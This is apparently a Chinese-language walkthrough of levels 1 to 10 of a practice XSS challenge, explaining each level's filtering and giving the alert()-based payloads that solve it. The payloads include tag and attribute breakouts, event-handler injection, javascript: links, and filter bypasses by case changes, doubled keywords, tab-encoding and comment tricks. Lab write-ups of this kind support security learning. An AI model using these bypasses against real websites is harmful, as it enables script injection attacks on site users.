XSS 20关挑战
less1
反射型XSS也被称为非持久性CSS
当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。
alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。
查看源码window.alert = function()
echo "<h2 align=center>欢迎用户".$str."</h2>";
没有过滤
直接调用函数就可以通关<script>window.alert()</script>
<script>
标签用于定义客户端脚本,比如 JavaScript。
less2
利用页面元素看到输入在<input name=keyword value="'.$str.'">
闭合input语句即可1"><script>alert()</script>
1"><script>alert()</script><"
less3
查看页面元素<input name=keyword value='1'>
在input语句里
尝试闭合无用
查看源码str
都加上了htmlspecialchars
函数,但默认配置是不过滤单引号的'onmouseover='window.alert()
即可
输入'
<input name="keyword" value="" '="">
输入''
<input name="keyword" value="" ''="">
输入'onclick'
<input name="keyword" value="" onclick''="">
输入onclick=
<input name="keyword" value="" onclick="">
less4
输入"><script>alert()</script><"
查看可知<input name="keyword" value="" scriptalert()="" script""="">
过滤了<
>
利用上节方法"onclick="alert()
更新于2019-03-03 11:19:50 星期日
less5
试过后发现onclick
变为o_nclick
script
变为sc_ript
使用"><a href="javascript:alert()">
less6
onclick script href
输入后都进行了变化"><a HRef="javascript:alert()">
keyword="ONclick="alert()
keyword="><scriPt>alert()</SCRIpt><"
keyword="><a HreF=javascript:alert()>213</a>"<
进行大小写替换可以
less7
script
被过滤,改变大小写也没有用on
被过滤href
同样如此keyword="><scriscriptpt>alert()</scrscriptipt><"
利用双写绕过
更新于2019-03-06 21:20:39 星期三
less8
这题可以添加链接
直接使用javascript:alert(1)
但并没有用,查看源码$str2=str_replace("script","scr_ipt",$str);
被替换了
使用制表符绕过%09
keyword=javasc%09ript%3Aalert%281%29&submit=添加友情链接
less9
上题结果没有用,查看源码if(false===strpos($str7,'http://'))
知一定要有http://
在javascript伪协议里面,属于js范畴,所以单行注释符是可以使用的javasc%09ript%3Aalert%281%29//http://www.test.com
less10
查看页面元素
有几个隐藏的值,注入点就在这keyword=test&t_sort=" type="text" onclick="alert()